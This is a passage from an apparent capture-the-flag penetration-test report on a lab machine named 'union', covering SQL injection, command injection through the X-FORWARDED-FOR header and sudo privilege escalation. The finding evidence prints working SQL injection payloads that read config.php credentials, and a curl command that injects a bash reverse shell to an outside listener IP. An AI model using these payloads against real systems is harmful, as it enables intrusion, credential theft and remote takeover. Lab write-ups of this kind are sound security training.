bash: cannot set terminal process group (805): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on union:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
www-data@union:~/html$
Using sudo -l the tester discovered that this user has admin privileges.
www-data@union:~/html$ sudo su
sudo su
pwd
/var/www/html
cd /root
ls
root.txt
snap
cat root.txt
acf4300f7dabb7b9ca4ebd2e775346ce
The last flag is gained by simply switching to the root user and viewing the root.txt file.
Technical Findings
1. Manual UNION-based SQL Injection - Critical
| CWE | CWE-89: Improper Neutralization of Special Elements used in an SQL Command |
| CVSS 3.1 Score | 9.8 (Critical) |
| Description | The player parameter on the Player Eligibility Check form (index.php) is vulnerable to UNION-based SQL injection. While automated tools like SQLMap are blocked by signature-based filters (the "SQLMap Killer"), manual exploitation allows for the concatenation of multiple values into the single reflective column. |
| Security Impact | An unauthenticated attacker can dump the entire backend database, including the firewall flag, and use the load_file function to read sensitive local files such as /etc/passwd and config.php, which contains cleartext SSH credentials. |
| Affected Host/URI | |
| Remediation |
|
| External References |
Finding Evidence:
The tester successfully bypassed the signature-based filters by using a manual UNION SELECT payload to retrieve the database version:
player=player' union select @@version -- -
Furthermore, the tester leveraged the load_file function to retrieve the contents of config.php, exposing cleartext credentials for the uhc user:
player=player' union select load_file('/var/www/html/config.php') -- -
2. OS Command Injection via HTTP Header - Critical
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command |
| CVSS 3.1 Score | 9.8 (Critical) |
| Description | The firewall.php page uses a system() function to execute an iptables command. The $ip variable is populated directly from the user-supplied X-FORWARDED-FOR HTTP header without any input sanitisation. |
| Security Impact | An attacker can inject shell metacharacters (e.g., ;) into the header to escape the intended command and execute arbitrary code on the server. This results in a Remote Code Execution (RCE) foothold as the www-data user. |
| Affected Host/URI | |
| Remediation |
|
| External References |
Finding Evidence:
The tester successfully obtained a reverse shell by submitting a crafted GET request with a bash one-liner injected into the X-FORWARDED-FOR header:
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >& /dev/tcp/10.10.14.59/9001 0>&1";' 'http://10.10.11.128/firewall.php'
The tester’s Netcat listener received the connection, confirming command execution as the www-data user.
3. Over-Permissive Sudo Privileges - High
| CWE | CWE-250: Execution with Unnecessary Privileges |
| CVSS 3.1 Score | 7.8 (High) |
| Description | The www-data service account is configured in the /etc/sudoers file with full administrative rights using the entry (ALL : ALL) NOPASSWD: ALL. |
| Security Impact | Any user who compromises the web server (as shown in finding 2) can immediately elevate their privileges to root. This grants total control over the host system, allowing for the theft of all data and persistence on the machine. |
| Affected Host |
|
| Remediation |
|
| External References |
Finding Evidence:
After gaining a shell as www-data, the tester executed sudo -l to list the user’s privileges:
User www-data may run the following commands on union: (ALL : ALL) NOPASSWD: ALL
By simply typing sudo su, the tester successfully switched to the root user account and retrieved the final flag from /root/root.txt.